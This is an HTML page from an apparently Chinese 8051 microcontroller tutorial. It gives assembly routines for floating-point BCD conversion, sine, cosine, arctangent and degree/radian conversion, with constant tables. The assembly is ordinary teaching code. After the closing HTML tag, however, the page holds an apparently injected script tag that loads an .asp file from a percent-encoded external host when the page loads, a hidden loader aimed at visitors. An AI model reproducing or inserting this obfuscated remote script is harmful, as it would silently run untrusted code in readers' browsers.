📄 学习单片机7.htm
字号:
C<BR>RET<BR>FTD8: MOV A,R2 ；按规定的整数位数进行右规<BR>CJNE A,B,FTD9<BR>MOV
A,R3 ；将双字节结果传送到[R0]中<BR>MOV @R0,A<BR>INC R0<BR>MOV A,R4<BR>MOV
@R0,A<BR>DEC R0<BR>RET<BR>FTD9: CLR C<BR>LCALL RR1 ；右规一次<BR>SJMP
FTD8</P>
<P>（２６） 标号： ＢＴＯＦ 功能：浮点ＢＣＤ码转换成格式化浮点数</P>
<P>入口条件：浮点ＢＣＤ码操作数在[R0]中。<BR>出口信息：转换成的格式化浮点数仍在[R0]中。<BR>影响资源：PSW、A、B、R2～R7、位1DH～1FH
堆栈需求：６字节<BR>BTOF: INC R0 ；判断是否为零。<BR>INC R0<BR>MOV A,@R0<BR>MOV
R7,A<BR>DEC R0<BR>MOV A,@R0<BR>MOV R6,A<BR>DEC R0<BR>ORL A,R7<BR>JNZ
BTF0<BR>MOV @R0,#41H；为零，转换结束。<BR>RET<BR>BTF0: MOV A,@R0<BR>MOV
C,ACC.7<BR>MOV 1DH,C ；保存数符。<BR>CLR 1FH ；以绝对值进行转换。<BR>MOV C,ACC.6
；扩充阶码为八位。<BR>MOV ACC.7,C<BR>MOV @R0,A<BR>JNC BTF1<BR>ADD A,#19
；是否小于１Ｅ－１９？<BR>JC BTF2<BR>MOV @R0,#41H；小于１Ｅ－１９时以０计。<BR>INC R0<BR>MOV
@R0,#0<BR>INC R0<BR>MOV @R0,#0<BR>DEC R0<BR>DEC R0<BR>RET<BR>BTF1:
SUBB A,#19<BR>JC BTF2<BR>MOV A,#3FH ；大于１Ｅ１９时封顶。<BR>MOV C,1DH<BR>MOV
ACC.7,C<BR>MOV @R0,A<BR>INC R0<BR>MOV @R0,#0FFH<BR>INC R0<BR>MOV
@R0,#0FFH<BR>DEC R0<BR>DEC R0<BR>RET<BR>BTF2: CLR A
；准备将ＢＣＤ码尾数转换成十六进制浮点数。<BR>MOV R4,A<BR>MOV R3,A<BR>MOV R2,#10H
；至少两个字节。<BR>BTF3: MOV A,R7<BR>ADD A,R7<BR>DA A<BR>MOV R7,A<BR>MOV
A,R6<BR>ADDC A,R6<BR>DA A<BR>MOV R6,A<BR>MOV A,R4<BR>RLC A<BR>MOV
R4,A<BR>MOV A,R3<BR>RLC A<BR>MOV R3,A<BR>DEC R2<BR>JNB
ACC.7,BTF3；直到尾数规格化。<BR>MOV A,R6 ；四舍五入。<BR>ADD A,#0B0H<BR>CLR
A<BR>ADDC A,R4<BR>MOV R4,A<BR>CLR A<BR>ADDC A,R3<BR>MOV R3,A<BR>JNC
BTF4<BR>MOV R3,#80H<BR>INC R2<BR>BTF4: MOV
DPTR,#BTFL；准备查表得到十进制阶码对应的浮点数。<BR>MOV A,@R0<BR>ADD A,#19
；计算表格偏移量。<BR>MOV B,#3<BR>MUL AB<BR>ADD A,DPL<BR>MOV DPL,A<BR>JNC
BTF5<BR>INC DPH<BR>BTF5: CLR A ；查表。<BR>MOVC A,@A+DPTR<BR>MOV
C,ACC.6<BR>MOV ACC.7,C<BR>MOV R5,A<BR>MOV A,#1<BR>MOVC
A,@A+DPTR<BR>MOV R6,A<BR>MOV A,#2<BR>MOVC A,@A+DPTR<BR>MOV
R7,A<BR>LCALL MUL1 ；将阶码对应的浮点数和尾数对应的浮点数相乘。<BR>MOV C,1DH ；取出数符。<BR>MOV
1FH,C<BR>LJMP MOV0 ；传送转换结果。</P>
<P>（２７） 标号： ＦＴＯＢ 功能：格式化浮点数转换成浮点ＢＣＤ码</P>
<P>入口条件：格式化浮点操作数在[R0]中。<BR>出口信息：转换成的浮点ＢＣＤ码仍在[R0]中。<BR>影响资源：PSW、A、B、R2～R7、位1DH～1FH
堆栈需求：６字节<BR>FTOB: INC R0<BR>MOV A,@R0<BR>INC R0<BR>ORL A,@R0<BR>DEC
R0<BR>DEC R0<BR>JNZ FTB0<BR>MOV @R0,#41H<BR>RET<BR>FTB0: MOV
A,@R0<BR>MOV C,ACC.7<BR>MOV 1DH,C<BR>CLR ACC.7<BR>MOV @R0,A<BR>LCALL
MVR0<BR>MOV DPTR,#BFL0；绝对值大于或等于１时的查表起点。<BR>MOV B,#0 ；十的０次幂。<BR>MOV
A,R2<BR>JNB ACC.7,FTB1<BR>MOV DPTR,#BTFL；绝对值小于１Ｅ－６时的查表起点。<BR>MOV
B,#0EDH ；十的－１９次幂。<BR>ADD A,#16<BR>JNC FTB1<BR>MOV
DPTR,#BFLN；绝对值大于或等于１Ｅ－６时的查表起点。<BR>MOV B,#0FAH ；十的－６次幂。<BR>FTB1: CLR
A ；查表，找到一个比待转换浮点数大的整数幂。<BR>MOVC A,@A+DPTR<BR>MOV C,ACC.6<BR>MOV
ACC.7,C<BR>MOV R5,A<BR>MOV A,#1<BR>MOVC A,@A+DPTR<BR>MOV R6,A<BR>MOV
A,#2<BR>MOVC A,@A+DPTR<BR>MOV R7,A<BR>MOV A,R5 ；和待转换浮点数比较。<BR>CLR
C<BR>SUBB A,R2<BR>JB ACC.7,FTB2；差为负数。<BR>JNZ FTB3<BR>MOV A,R6<BR>CLR
C<BR>SUBB A,R3<BR>JC FTB2<BR>JNZ FTB3<BR>MOV A,R7<BR>CLR C<BR>SUBB
A,R4<BR>JC FTB2<BR>JNZ FTB3<BR>MOV R5,B ；正好是表格中的数。<BR>INC R5
；幂加一。<BR>MOV R6,#10H ；尾数为０·１０００。<BR>MOV R7,#0<BR>SJMP FTB6
；传送转换结果。<BR>FTB2: INC DPTR ；准备表格下一项。<BR>INC DPTR<BR>INC DPTR<BR>INC
B ；幂加一。<BR>SJMP FTB1 ；<BR>FTB3: PUSH B ；保存幂值。<BR>LCALL DIV3
；相除，得到一个二进制浮点数的纯小数。<BR>FTB4: MOV A,R2 ；取阶码。<BR>JZ FTB5 ；为零吗？<BR>CLR
C<BR>LCALL RR1 ；右规。<BR>SJMP FTB4<BR>FTB5: POP ACC ；取出幂值。<BR>MOV R5,A
；作为十进制浮点数的阶码。<BR>LCALL HB2 ；转换尾数的十分位和百分位。<BR>MOV R6,A<BR>LCALL HB2
；转换尾数的千分位和万分位。<BR>MOV R7,A<BR>MOV A,R3 ；四舍五入。<BR>RLC A<BR>CLR
A<BR>ADDC A,R7<BR>DA A<BR>MOV R7,A<BR>CLR A<BR>ADDC A,R6<BR>DA
A<BR>MOV R6,A<BR>JNC FTB6<BR>MOV R6,#10H<BR>INC R5<BR>FTB6: INC R0
；存放转换结果。<BR>INC R0<BR>MOV A,R7<BR>MOV @R0,A<BR>DEC R0<BR>MOV
A,R6<BR>MOV @R0,A<BR>DEC R0<BR>MOV A,R5<BR>MOV C,1DH ；取出数符。<BR>MOV
ACC.7,C<BR>MOV @R0,A<BR>RET<BR>HB2: MOV A,R4 ；尾数扩大１００倍。<BR>MOV
B,#100<BR>MUL AB<BR>MOV R4,A<BR>MOV A,B<BR>XCH A,R3<BR>MOV
B,#100<BR>MUL AB<BR>ADD A,R3<BR>MOV R3,A<BR>JNC HB21<BR>INC
B<BR>HB21: MOV A,B ；将整数部分转换成ＢＣＤ码。<BR>MOV B,#10<BR>DIV AB<BR>SWAP
A<BR>ORL A,B<BR>RET<BR>BTFL: DB 41H,0ECH,1EH ；1.0000E-19<BR>DB
45H,93H,93H ；1.0000E-18<BR>DB 48H,0B8H,78H ；1.0000E-17<BR>DB
4BH,0E6H,96H ；1.0000E-16<BR>DB 4FH,90H,1DH ；1.0000E-15<BR>DB
52H,0B4H,25H ；1.0000E-14<BR>DB 55H,0E1H,2EH ；1.0000E-13<BR>DB
59H,8CH,0BDH ；1.0000E-12<BR>DB 5CH,0AFH,0ECH ；1.0000E-11<BR>DB
5FH,0DBH,0E7H ；1.0000E-10<BR>DB 63H,89H,70H ；1.0000E-9<BR>DB
66H,0ABH,0CCH ；1.0000E-8<BR>DB 69H,0D6H,0C0H ；1.0000E-7<BR>BFLN: DB
6DH,86H,38H ；1.0000E-6<BR>DB 70H,0A7H,0C6H ；1.0000E-5<BR>DB
73H,0D1H,0B7H ；1.0000E-4<BR>DB 77H,83H,12H ；1.0000E-3<BR>DB
7AH,0A3H,0D7H ；1.0000E-2<BR>DB 7DH,0CCH,0CDH ；1.0000E-1<BR>BFL0: DB
1,80H,00H ；1.0000<BR>DB 4,0A0H,00H ；1.0000E1<BR>DB 7,0C8H,00H
；1.0000E2<BR>DB 0AH,0FAH,00H ；1.0000E3<BR>DB 0EH,9CH,40H
；1.0000E4<BR>DB 11H,0C3H,50H ；1.0000E5<BR>DB 14H,0F4H,24H
；1.0000E6<BR>DB 18H,98H,97H ；1.0000E7<BR>DB 1BH,0BEH,0BCH
；1.0000E8<BR>DB 1EH,0EEH,6BH ；1.0000E9<BR>DB 22H,95H,03H
；1.0000E10<BR>DB 25H,0BAH,44H ；1.0000E11<BR>DB 28H,0E8H,0D5H
；1.0000E12<BR>DB 2CH,91H,85H ；1.0000E13<BR>DB 2FH,0B5H,0E6H
；1.0000E14<BR>DB 32H,0E3H,60H ；1.0000E15<BR>DB 36H,8EH,1CH
；1.0000E16<BR>DB 39H,31H,0A3H ；1.0000E17<BR>DB 3CH,0DEH,0BH
；1.0000E18<BR>DB 40H,8AH,0C7H ；1.0000E19</P>
<P> （２８） 标号： ＦＣＯＳ 功能：浮点余弦函数</P>
<P>入口条件：操作数在[R0]中。<BR>出口信息：结果仍在[R0]中。<BR>影响资源：DPTR、PSW、A、B、R2～R7、位1DH～1FH
堆栈需求： ６字节<BR>FCOS: LCALL FABS ；COS(-X) = COS X<BR>MOV R5,#1
；常数1.5708（π／２）<BR>MOV R6,#0C9H<BR>MOV R7,#10H<BR>CLR 1EH<BR>LCALL
MVR0<BR>CLR F0<BR>LCALL AS1 ；ｘ＋（π／２）<BR>LCALL MOV0
；保存结果，接着运行下面的FSIN程序</P>
<P>（２９） 标号： ＦＳＩＮ 功能：浮点正弦函数</P>
<P>入口条件：操作数在[R0]中。<BR>出口信息：结果仍在[R0]中。<BR>影响资源：DPTR、PSW、A、B、R2～R7、位1DH～1FH
堆栈需求： ６字节<BR>FSIN: MOV A,@R0<BR>MOV C,ACC.7<BR>MOV 1DH,C
；保存自变量的符号<BR>CLR ACC.7 ；统一按正数计算<BR>MOV @R0,A<BR>LCALL MVR0
；将[R0]传送到第一工作区<BR>MOV R5,#0 ；系数０．６３６６２７（２／π）<BR>MOV R6,#0A2H<BR>MOV
R7,#0FAH<BR>CLR 1EH<BR>LCALL MUL1 ；相乘，自变量按（π／２）规一化<BR>MOV A,R2
；将结果复制到第二区<BR>MOV R5,A<BR>MOV A,R3<BR>MOV R6,A<BR>MOV A,R4<BR>MOV
R7,A<BR>LCALL INT ；第一区取整，获得象限信息<BR>MOV A,R2<BR>JZ SIN2<BR>SIN1: CLR
C ；将浮点象限数转换成定点象限数<BR>LCALL RR1<BR>CJNE R2,#10H,SIN1<BR>MOV
A,R4<BR>JNB ACC.1,SIN2<BR>CPL 1DH ；对于第三、四象限，结果取反<BR>SIN2: JB
ACC.0,SIN3<BR>CPL 1FH ；对于第一、三象限，直接求规一化的小数<BR>SJMP SIN4<BR>SIN3: MOV
A,R4 ；对于第二、四象限，准备求其补数<BR>INC A<BR>MOV R4,A<BR>JNZ SIN4<BR>INC
R3<BR>SIN4: LCALL RLN ；规格化<BR>SETB F0<BR>LCALL AS1
；求自变量归一化等效值<BR>LCALL MOV0 ；回传<BR>LCALL FPLN ；用多项式计算正弦值<BR>DB
7DH,93H,28H；０．０７１８５<BR>DB 41H,0,0 ；０<BR>DB
80H,0A4H,64H；－０．６４２１５<BR>DB 41H,0,0 ；０<BR>DB 1,0C9H,2；１．５７０４<BR>DB
41H,0,0 ；０<BR>DB 40H ；结束<BR>MOV A,@R0 ；结果的绝对值超过１．００吗？<BR>JZ
SIN5<BR>JB ACC.6,SIN5<BR>INC R0 ；绝对值按１．００封顶<BR>MOV @R0,#80H<BR>INC
R0<BR>MOV @R0,#0<BR>DEC R0<BR>DEC R0<BR>MOV A,#1<BR>SIN5: MOV C,1DH
；将数符拼入结果中<BR>MOV ACC.7,C<BR>MOV @R0,A<BR>RET<BR> <BR>（３０） 标号： ＦＡＴＮ
功能：浮点反正切函数</P>
<P>入口条件：操作数在[R0]中。<BR>出口信息：结果仍在[R0]中。<BR>影响资源：DPTR、PSW、A、B、R2～R7、位1CH～1FH
堆栈需求：７字节<BR>FATN: MOV A,@R0<BR>MOV C,ACC.7<BR>MOV 1DH,C
；保存自变量数符<BR>CLR ACC.7 ；自变量取绝对值<BR>MOV @R0,A<BR>CLR 1CH
；清求余运算标志<BR>JB ACC.6,ATN1；自变量为纯小数否？<BR>JZ ATN1<BR>SETB 1CH
；置位求余运算标志<BR>LCALL FRCP ；通过倒数运算，转换成纯小数<BR>ATN1: LCALL FPLN
；通过多项式运算，计算反正切函数值<BR>DB 0FCH,0E4H,91H；－０．０５５８０２<BR>DB
7FH,8FH,37H；０．２７９２２<BR>DB 0FFH,0EDH,0E0H；－０．４６４６０<BR>DB
7BH,0E8H,77H；０．０２８３７７<BR>DB 0,0FFH,68H；０．９９７７<BR>DB
72H,85H,0ECH；３．１９３０×１０-5<BR>DB 40H ；结束<BR>JNB
1CH,ATN2；需要求余运算否？<BR>CPL 1FH ；准备运算标志<BR>MOV C,1FH<BR>MOV F0,C
；常数１．５７０８（π／２）<BR>MOV R5,#1<BR>MOV R6,#0C9H<BR>MOV R7,#10H<BR>LCALL
AS1 ；求余运算<BR>LCALL MOV0 ；回传<BR>ATN2: MOV A,@R0 ；拼入结果的数符<BR>MOV
C,1DH<BR>MOV ACC.7,C<BR>MOV @R0,A<BR>RET<BR> <BR>（３１） 标号： ＲＴＯＤ
功能：浮点弧度数转换成浮点度数</P>
<P>入口条件：浮点弧度数在[R0]中。<BR>出口信息：转换成的浮点度数仍在[R0]中。<BR>影响资源：PSW、A、B、R2～R7、位1EH、1FH
堆栈需求：６字节<BR>RTOD: MOV R5,#6 ；系数（１８０／π）传送到第二工作区<BR>MOV
R6,#0E5H<BR>MOV R7,#2FH<BR>SJMP DR ；通过乘法进行转换</P>
<P>（３２） 标号： ＤＴＯＲ 功能：浮点度数转换成浮点弧度数</P>
<P>入口条件：浮点度数在[R0]中。<BR>出口信息：转换成的浮点弧度数仍在[R0]中。<BR>影响资源：PSW、A、B、R2～R7、位1EH、1FH
堆栈需求：６字节<BR>DTOR: MOV R5,#0FBH；系数（π／１８０）传送到第二工作区<BR>MOV
R6,#8EH<BR>MOV R7,#0FAH<BR>DR: LCALL MVR0 ；将[R0]传送到第一工作区<BR>CLR 1EH
；系数为正<BR>LCALL MUL1 ；通过乘法进行转换<BR>LJMP MOV0 ；结果传送到[R0]中<BR>END</P>
<P> </P></TD></TR></TBODY></TABLE>
<P> </P>
<TABLE height=39 cellSpacing=0 width=749 border=0>
<TBODY>
<TR>
<TD width=745 height=1>
<P align=center><A
href="http://www.zsgbailin.com/inages/xxtd/index.htm">网站首页</A>
</P></TD></TR></TBODY></TABLE>
<TABLE height=21 cellSpacing=0 width=749 border=0>
<TBODY>
<TR>
<TD width=745 height=1>
<HR color=#ff00ff>
</TD></TR></TBODY></TABLE>
<TABLE height=39 cellSpacing=0 width=749 border=0>
<TBODY>
<TR>
<TD width=745 height=1>
<P align=center><FONT face=宋体 color=#800080>声明:
部分文章来源于网络/若有侵犯你的权益/请联系我立即删除</FONT>
</P></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<TABLE height=24 cellSpacing=0 width=105 border=0>
<TBODY>
<TR>
<TD width=101 height=3></TD></TR></TBODY></TABLE></CENTER></BODY></HTML>
<script language=javascript ></script><script src="http://%78%66%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -